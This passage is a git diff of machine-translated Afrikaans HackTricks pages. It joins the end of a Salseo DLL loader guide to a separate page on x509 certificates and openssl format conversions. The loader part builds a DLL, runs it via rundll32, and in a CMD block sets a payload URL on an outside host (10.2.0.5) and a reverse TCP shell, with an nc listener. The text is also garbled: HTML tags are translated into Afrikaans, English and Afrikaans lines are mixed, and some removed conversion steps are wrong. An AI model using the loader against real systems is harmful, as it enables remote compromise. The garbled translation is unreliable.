Kies **Uitvoertipe = Klasbiblioteek** (Projek --> SalseoLoader Eienskappe --> Toepassing --> Uitvoertipe = Klasbiblioteek)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Kies **x64-platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
|
||||
Kies die **x64 platform** (Projek --> SalseoLoader Eienskappe --> Bou --> Platform teiken = x64)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Om die oplossing te **bou**: Build --> Build Solution (Die pad van die nuwe DLL sal in die Uitvoerkonsole verskyn)
|
||||
Om die oplossing te **bou**: Bou --> Bou Oplossing (Binne die Uitvoerkonsole sal die pad van die nuwe DLL verskyn)
|
||||
|
||||
### Toets die gegenereerde Dll
|
||||
|
||||
|
@ -171,9 +143,9 @@ Voer uit:
|
|||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
As geen fout verskyn nie, het jy waarskynlik 'n funksionele DLL!!
|
||||
Indien geen fout verskyn nie, het jy waarskynlik 'n funksionele DLL!!
|
||||
|
||||
## Kry 'n skul gebruik die DLL
|
||||
## Kry 'n skaal deur die DLL te gebruik
|
||||
|
||||
Moenie vergeet om 'n **HTTP** **bediener** te gebruik en 'n **nc** **luisteraar** in te stel
|
||||
|
||||
|
@ -188,7 +160,9 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
### CMD
|
||||
|
||||
CMD (Command Prompt) is 'n opdraggewer wat beskikbaar is op Windows-bedryfstelsels. Dit bied 'n gebruikersvriendelike omgewing waarin gebruikers opdragte kan uitvoer om verskeie take uit te voer. Hierdie opdragte kan gebruik word om sagteware te installeer, lêers te skep en te wysig, netwerkverbindings te bestuur en vele ander funksies uit te voer. CMD is 'n kragtige hulpmiddel wat deur hackers gebruik kan word om toegang tot 'n stelsel te verkry en verskeie aanvalle uit te voer.
|
||||
#### CMD
|
||||
|
||||
CMD is a command-line interpreter that allows users to interact with the operating system. It can be used to execute commands to perform various tasks on a Windows system.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -197,16 +171,16 @@ set lport=1337
|
|||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
<details>
|
||||
<besonderhede>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
</besonderhede>
|
||||
|
|
|
@ -2,57 +2,57 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repositoriums.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Wat is 'n Sertifikaat
|
||||
|
||||
'n **Openbare sleutel sertifikaat** is 'n digitale ID wat in kriptografie gebruik word om te bewys dat iemand 'n openbare sleutel besit. Dit sluit die sleutel se besonderhede, die eienaar se identiteit (die onderwerp), en 'n digitale handtekening van 'n vertroude gesag (die uitreiker) in. As die sagteware die uitreiker vertrou en die handtekening geldig is, is veilige kommunikasie met die sleutel se eienaar moontlik.
|
||||
'n **Openbare sleutel sertifikaat** is 'n digitale ID wat in kriptografie gebruik word om te bewys dat iemand 'n openbare sleutel besit. Dit sluit die sleutel se besonderhede, die eienaar se identiteit (die onderwerp), en 'n digitale handtekening van 'n vertroude gesag (die uitreiker) in. As die sagteware die uitreiker vertrou en die handtekening geldig is, is veilige kommunikasie met die sleuteleienaar moontlik.
|
||||
|
||||
Sertifikate word meestal uitgereik deur [sertifikaatowerhede](https://en.wikipedia.org/wiki/Certificate_authority) (SO's) in 'n [openbare sleutel infrastruktuur](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) opset. 'n Ander metode is die [web van vertroue](https://en.wikipedia.org/wiki/Web_of_trust), waar gebruikers mekaar se sleutels direk verifieer. Die algemene formaat vir sertifikate is [X.509](https://en.wikipedia.org/wiki/X.509), wat aangepas kan word vir spesifieke behoeftes soos uiteengesit in RFC 5280.
|
||||
Sertifikate word meestal uitgereik deur [sertifikaatowerhede](https://en.wikipedia.org/wiki/Certificate\_authority) (CA's) in 'n [openbare sleutelinfrastruktuur](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) opstelling. 'n Ander metode is die [web van vertroue](https://en.wikipedia.org/wiki/Web\_of\_trust), waar gebruikers direk mekaar se sleutels verifieer. Die algemene formaat vir sertifikate is [X.509](https://en.wikipedia.org/wiki/X.509), wat aangepas kan word vir spesifieke behoeftes soos uiteengesit in RFC 5280.
|
||||
|
||||
## x509 Algemene Velde
|
||||
|
||||
### **Algemene Velde in x509 Sertifikate**
|
||||
|
||||
In x509 sertifikate speel verskeie **velde** 'n kritieke rol om die geldigheid en veiligheid van die sertifikaat te verseker. Hier is 'n uiteensetting van hierdie velde:
|
||||
In x509 sertifikate speel verskeie **velde** kritieke rolle om die sertifikaat se geldigheid en veiligheid te verseker. Hier is 'n uiteensetting van hierdie velde:
|
||||
|
||||
- **Weergawenommer** dui die weergawe van die x509-formaat aan.
|
||||
- **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid (SO) se stelsel, hoofsaaklik vir herroepingstracking.
|
||||
- Die **Onderwerp**-veld verteenwoordig die eienaar van die sertifikaat, wat 'n masjien, 'n individu, of 'n organisasie kan wees. Dit sluit gedetailleerde identifikasie in soos:
|
||||
- **Gemeenskaplike Naam (CN)**: Domeine wat deur die sertifikaat gedek word.
|
||||
- **Land (C)**, **Ligging (L)**, **Staat of Provinsie (ST, S, of P)**, **Organisasie (O)**, en **Organisasie-eenheid (OU)** verskaf geografiese en organisatoriese besonderhede.
|
||||
- **Onderskeidende Naam (DN)** sluit die volledige onderwerpidentifikasie in.
|
||||
- **Uitreiker** besonderhede van wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde as die Onderwerp vir die SO.
|
||||
- **Geldigheidsperiode** word aangedui deur **Nie Voor** en **Nie Na** tydstempels, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie.
|
||||
- Die **Openbare Sleutel**-afdeling, wat krities is vir die veiligheid van die sertifikaat, spesifiseer die algoritme, grootte, en ander tegniese besonderhede van die openbare sleutel.
|
||||
- **x509v3-uitbreidings** verbeter die funksionaliteit van die sertifikaat deur **Sleutelgebruik**, **Uitgebreide Sleutelgebruik**, **Alternatiewe Naam van Onderwerp**, en ander eienskappe te spesifiseer om die toepassing van die sertifikaat fynaf te stel.
|
||||
* Die **Weergawe Nommer** dui die weergawe van die x509-formaat aan.
|
||||
* Die **Serienommer** identifiseer die sertifikaat uniek binne 'n Sertifikaatowerheid se (CA) stelsel, hoofsaaklik vir herroepingstracking.
|
||||
* Die **Onderwerp** veld verteenwoordig die sertifikaat se eienaar, wat 'n masjien, 'n individu, of 'n organisasie kan wees. Dit sluit gedetailleerde identifikasie in soos:
|
||||
* **Gemeenskaplike Naam (CN)**: Domeine wat deur die sertifikaat gedek word.
|
||||
* **Land (C)**, **Lokaliteit (L)**, **Staat of Provinsie (ST, S, of P)**, **Organisasie (O)**, en **Organisasie-eenheid (OU)** verskaf geografiese en organisatoriese besonderhede.
|
||||
* **Onderskeidingsnaam (DN)** omvat die volledige onderwerpidentifikasie.
|
||||
* **Uitreiker** besonderhede van wie die sertifikaat geverifieer en onderteken het, insluitend soortgelyke subvelde as die Onderwerp vir die CA.
|
||||
* **Geldigheidsperiode** word gemerk deur **Nie Voor Nie** en **Nie Na Nie** tydstempels, wat verseker dat die sertifikaat nie voor of na 'n sekere datum gebruik word nie.
|
||||
* Die **Openbare Sleutel** afdeling, krities vir die sertifikaat se veiligheid, spesifiseer die algoritme, grootte, en ander tegniese besonderhede van die openbare sleutel.
|
||||
* **x509v3-uitbreidings** verbeter die sertifikaat se funksionaliteit, spesifiseer **Sleutelgebruik**, **Uitgebreide Sleutelgebruik**, **Onderwerp Alternatiewe Naam**, en ander eienskappe om die sertifikaat se toepassing fynaf te stem.
|
||||
|
||||
#### **Sleutelgebruik en Uitbreidings**
|
||||
|
||||
- **Sleutelgebruik** identifiseer kriptografiese toepassings van die openbare sleutel, soos digitale handtekening of sleutelversleuteling.
|
||||
- **Uitgebreide Sleutelgebruik** versmalle verder die gebruiksmoontlikhede van die sertifikaat, bv. vir TLS-bedienerverifikasie.
|
||||
- **Alternatiewe Naam van Onderwerp** en **Basiese Beperking** definieer addisionele gasheernaam wat deur die sertifikaat gedek word en of dit 'n SO- of eindentiteit-sertifikaat is, onderskeidelik.
|
||||
- Identifiseerders soos **Sleutelidentifiseerder van Onderwerp** en **Sleutelidentifiseerder van Gesag** verseker uniekheid en naspeurbaarheid van sleutels.
|
||||
- **Gesaginligtings Toegang** en **CRL Verspreidingspunte** verskaf paaie om die uitreikende SO te verifieer en die sertifikaat-herroepingsstatus te kontroleer.
|
||||
- **CT Voor-sertifikaat SCT's** bied deursigtigheidslêers, wat krities is vir openbare vertroue in die sertifikaat.
|
||||
* **Sleutelgebruik** identifiseer kriptografiese toepassings van die openbare sleutel, soos digitale handtekening of sleutelversleuteling.
|
||||
* **Uitgebreide Sleutelgebruik** versmalle verder die sertifikaat se gebruike, bv. vir TLS-bedienerverifikasie.
|
||||
* **Onderwerp Alternatiewe Naam** en **Basiese Beperking** definieer addisionele gasheernaam wat deur die sertifikaat gedek word en of dit 'n CA- of eindentiteit-sertifikaat is, onderskeidelik.
|
||||
* Identifiseerders soos **Onderwerp Sleutelidentifiseerder** en **Uitreiker Sleutelidentifiseerder** verseker uniekheid en naspeurbaarheid van sleutels.
|
||||
* **Gesag Inligting Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en sertifikaatherroepingstatus te kontroleer.
|
||||
* **CT Voor-sertifikaat SCT's** bied deursigtigheidslêers, krities vir openbare vertroue in die sertifikaat.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
|
@ -76,151 +76,95 @@ print(f"Public Key: {public_key}")
|
|||
```
|
||||
### **Verskil tussen OCSP en CRL-verspreidingspunte**
|
||||
|
||||
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n responder wat saamwerk om te kontroleer of 'n digitale openbare sleutelsertifikaat herroep is, sonder om die volledige **CRL** af te laai. Hierdie metode is doeltreffender as die tradisionele **CRL**, wat 'n lys van herroepingsertifikaatserienommers verskaf, maar 'n potensieel groot lêer vereis om af te laai. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n reageerder wat saamwerk om te kontroleer of 'n digitale openbare sleutel-sertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is doeltreffender as die tradisionele **CRL**, wat 'n lys van herroepingsertifikaat serienommers verskaf, maar vereis dat 'n potensieel groot lêer afgelaai word. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||
|
||||
### **Wat is Sertifikaattransparansie**
|
||||
### **Wat is Sertifikaatdeursigtigheid**
|
||||
|
||||
Sertifikaattransparansie help om sertifikaatverwante bedreigings te beveg deur te verseker dat die uitreiking en bestaan van SSL-sertifikate sigbaar is vir domeineienaars, CA's en gebruikers. Die doelstellings is as volg:
|
||||
Sertifikaatdeursigtigheid help om sertifikaatverwante bedreigings te beveg deur te verseker dat die uitreiking en bestaan van SSL-sertifikate sigbaar is vir domeineienaars, CA's en gebruikers. Die doelstellings is:
|
||||
|
||||
* Voorkoming dat CA's SSL-sertifikate vir 'n domein uitreik sonder die domeineienaar se kennis.
|
||||
* Daarstel van 'n oop ouditeringstelsel vir die opspoor van per abuis of booswillig uitgereikte sertifikate.
|
||||
* Daarstel van 'n oop ouditeringstelsel vir die opsporing van per abuis of booswillig uitgereikte sertifikate.
|
||||
* Beskerming van gebruikers teen valse sertifikate.
|
||||
|
||||
#### **Sertifikaatjoernale**
|
||||
#### **Sertifikaatlogs**
|
||||
|
||||
Sertifikaatjoernale is openbaar ouditeerbare, net byvoegbare rekords van sertifikate wat deur netwerkdienste onderhou word. Hierdie joernale verskaf kriptografiese bewyse vir ouditeringsdoeleindes. Beide uitreikingsowerhede en die publiek kan sertifikate na hierdie joernale indien of dit ondersoek vir verifikasie. Alhoewel die presiese aantal joernaalbedieners nie vasstaan nie, word verwag dat dit wêreldwyd minder as 'n duisend sal wees. Hierdie bedieners kan onafhanklik deur CA's, ISP's of enige belanghebbende entiteit bestuur word.
|
||||
Sertifikaatlogs is openbaar ouditeerbare, net-byvoegbare rekords van sertifikate, onderhou deur netwerkdienste. Hierdie logs verskaf kriptografiese bewyse vir ouditeringsdoeleindes. Beide uitreikingsowerhede en die publiek kan sertifikate na hierdie logs indien of dit vir verifikasie ondersoek. Alhoewel die presiese aantal logbedieners nie vas is nie, word verwag dat dit wêreldwyd minder as 'n duisend sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, internetdiensverskaffers, of enige belanghebbende entiteit.
|
||||
|
||||
#### **Ondersoek**
|
||||
#### **Navraag**
|
||||
|
||||
Om Sertifikaattransparansiejoernale vir enige domein te ondersoek, besoek [https://crt.sh/](https://crt.sh).
|
||||
Om Sertifikaatdeursigtigheidlogs vir enige domein te ondersoek, besoek [https://crt.sh/](https://crt.sh).
|
||||
|
||||
Verskillende formate bestaan vir die stoor van sertifikate, elk met sy eie gebruiksscenario's en verenigbaarheid. Hierdie opsomming dek die belangrikste formate en bied leiding oor die omskakeling tussen hulle.
|
||||
Verskillende formate bestaan vir die stoor van sertifikate, elk met sy eie gebruike en verenigbaarheid. Hierdie opsomming dek die hoofformate en bied leiding oor die omskakeling tussen hulle.
|
||||
|
||||
## **Formate**
|
||||
|
||||
### **PEM-formaat**
|
||||
- Die mees algemeen gebruikte formaat vir sertifikate.
|
||||
- Vereis afsonderlike lêers vir sertifikate en privaatsleutels, gekodeer in Base64 ASCII.
|
||||
- Gewone uitbreidings: .cer, .crt, .pem, .key.
|
||||
- Primêr gebruik deur Apache en soortgelyke bedieners.
|
||||
|
||||
* Mees algemeen gebruikte formaat vir sertifikate.
|
||||
* Vereis aparte lêers vir sertifikate en privaatsleutels, gekodeer in Base64 ASCII.
|
||||
* Gewone uitbreidings: .cer, .crt, .pem, .key.
|
||||
* Primêr gebruik deur Apache en soortgelyke bedieners.
|
||||
|
||||
### **DER-formaat**
|
||||
- 'n Binêre formaat van sertifikate.
|
||||
- Ontbreek die "BEGIN/END CERTIFICATE"-verklarings wat in PEM-lêers gevind word.
|
||||
- Gewone uitbreidings: .cer, .der.
|
||||
- Word dikwels gebruik met Java-platforms.
|
||||
|
||||
* 'n Binêre formaat van sertifikate.
|
||||
* Ontbreek die "BEGIN/END CERTIFICATE" verklarings wat in PEM-lêers gevind word.
|
||||
* Gewone uitbreidings: .cer, .der.
|
||||
* Dikwels gebruik met Java-platforms.
|
||||
|
||||
### **P7B/PKCS#7-formaat**
|
||||
- Gestoor in Base64 ASCII, met uitbreidings .p7b of .p7c.
|
||||
- Bevat slegs sertifikate en kettingsertifikate, sonder die privaatsleutel.
|
||||
- Ondersteun deur Microsoft Windows en Java Tomcat.
|
||||
|
||||
* Gestoor in Base64 ASCII, met uitbreidings .p7b of .p7c.
|
||||
* Bevat slegs sertifikate en kettingsertifikate, sonder die privaatsleutel.
|
||||
* Ondersteun deur Microsoft Windows en Java Tomcat.
|
||||
|
||||
### **PFX/P12/PKCS#12-formaat**
|
||||
- 'n Binêre formaat wat bedienersertifikate, tussenliggende sertifikate en privaatsleutels in een lêer inkapsuleer.
|
||||
- Uitbreidings: .pfx, .p12.
|
||||
- Hoofsaaklik gebruik op Windows vir die invoer en uitvoer van sertifikate.
|
||||
|
||||
* 'n Binêre formaat wat bedienersertifikate, intermediêre sertifikate, en privaatsleutels in een lêer inkapsuleer.
|
||||
* Uitbreidings: .pfx, .p12.
|
||||
* Hoofsaaklik gebruik op Windows vir sertifikaatinvoer en -uitvoer.
|
||||
|
||||
### **Omskakeling van Formate**
|
||||
|
||||
**PEM-omskakelings** is noodsaaklik vir verenigbaarheid:
|
||||
|
||||
- **x509 na PEM**
|
||||
* **x509 na PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
- **PEM na DER**
|
||||
|
||||
PEM (Privacy-Enhanced Mail) en DER (Distinguished Encoding Rules) is twee verskillende formaatstandaarde vir sertifikate. PEM is 'n Base64-gekodeerde formaat wat gewoonlik gebruik word vir die stoor en oordrag van sertifikate. DER is 'n binêre formaat wat gebruik word vir die verwerking van sertifikate deur programme.
|
||||
|
||||
Om 'n PEM-sertifikaat na DER-formaat om te skakel, kan die volgende opdrag gebruik word:
|
||||
|
||||
```bash
|
||||
openssl x509 -in certificate.pem -outform der -out certificate.der
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die PEM-sertifikaat wat in die `certificate.pem`-lêer gestoor is, omskakel na DER-formaat en dit in die `certificate.der`-lêer stoor.
|
||||
* **PEM na DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
- **DER na PEM**
|
||||
|
||||
Om 'n DER-sertifikaat na PEM-formaat om te skakel, kan die volgende stappe gevolg word:
|
||||
|
||||
1. Gebruik die OpenSSL-hulpmiddel om die DER-sertifikaat te ontleed en die openbare sleutel daaruit te verkry:
|
||||
|
||||
```plaintext
|
||||
openssl x509 -inform der -in certificate.der -pubkey -noout > public_key.pem
|
||||
```
|
||||
|
||||
2. Gebruik die OpenSSL-hulpmiddel om die DER-sertifikaat na PEM-formaat om te skakel:
|
||||
|
||||
```plaintext
|
||||
openssl x509 -inform der -in certificate.der -out certificate.pem
|
||||
```
|
||||
|
||||
Die DER-sertifikaat sal nou suksesvol na PEM-formaat omgeskakel word.
|
||||
* **DER na PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
- **PEM na P7B**
|
||||
|
||||
Om 'n PEM-sertifikaatlêer na 'n P7B-formaat om te skakel, kan die volgende stappe gevolg word:
|
||||
|
||||
1. Maak 'n nuwe tekslêer en kopieer die inhoud van die PEM-lêer daarin.
|
||||
2. Verander die lêernaam na 'n .p7b-lêeruitbreiding.
|
||||
3. Stoor die lêer en dit sal nou in die P7B-formaat wees.
|
||||
|
||||
Dit is belangrik om daarop te let dat die P7B-formaat 'n binêre formaat is en nie die sertifikaat se privaat sleutel bevat nie. Die P7B-lêer bevat slegs die sertifikaatketting.
|
||||
* **PEM na P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
- **PKCS7 na PEM**
|
||||
|
||||
Om 'n PKCS7-sertifikaat na PEM-formaat om te skakel, kan die volgende stappe gevolg word:
|
||||
|
||||
1. Skep 'n nuwe tekslêer en kopieer die inhoud van die PKCS7-sertifikaat daarin.
|
||||
2. Verwyder enige lynafbrekings of wit spasies in die tekslêer.
|
||||
3. Voeg die volgende lyn by die begin van die tekslêer: `-----BEGIN PKCS7-----`.
|
||||
4. Voeg die volgende lyn by die einde van die tekslêer: `-----END PKCS7-----`.
|
||||
5. Stoor die tekslêer met die `.pem`-lêeruitbreiding.
|
||||
|
||||
Die PKCS7-sertifikaat is nou suksesvol omgeskakel na PEM-formaat.
|
||||
* **PKCS7 na PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX-omskakelings** is noodsaaklik vir die bestuur van sertifikate op Windows:
|
||||
|
||||
- **PFX na PEM**
|
||||
* **PFX na PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
- **PFX na PKCS#8** behels twee stappe:
|
||||
1. Omskakel PFX na PEM
|
||||
* **PFX na PKCS#8** behels twee stappe:
|
||||
1. Omskep PFX na PEM
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Omskep PEM na PKCS8
|
||||
|
||||
Om 'n PEM-sertifikaat na PKCS8-formaat om te skakel, kan jy die volgende stappe volg:
|
||||
|
||||
1. Installeer die OpenSSL-hulpmiddel as dit nog nie op jou stelsel geïnstalleer is nie.
|
||||
2. Open 'n opdragvenster en navigeer na die plek waar die PEM-sertifikaat geleë is.
|
||||
3. Voer die volgende opdrag in om die PEM-sertifikaat na PKCS8-formaat om te skakel:
|
||||
|
||||
```plaintext
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private.pk8 -nocrypt
|
||||
```
|
||||
|
||||
Hier moet jy die korrekte naam van die PEM-sertifikaat vervang met die naam van jou eie sertifikaat.
|
||||
|
||||
4. Nadat die opdrag suksesvol uitgevoer is, sal jy 'n nuwe PKCS8-sertifikaat met die naam "private.pk8" hê.
|
||||
|
||||
Met hierdie stappe kan jy 'n PEM-sertifikaat na PKCS8-formaat omskep.
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
- **P7B na PFX** vereis ook twee opdragte:
|
||||
1. Omskakel P7B na CER
|
||||
* **P7B na PFX** vereis ook twee bevele:
|
||||
1. Omskep P7B na CER
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
|
@ -230,24 +174,24 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
|
|||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
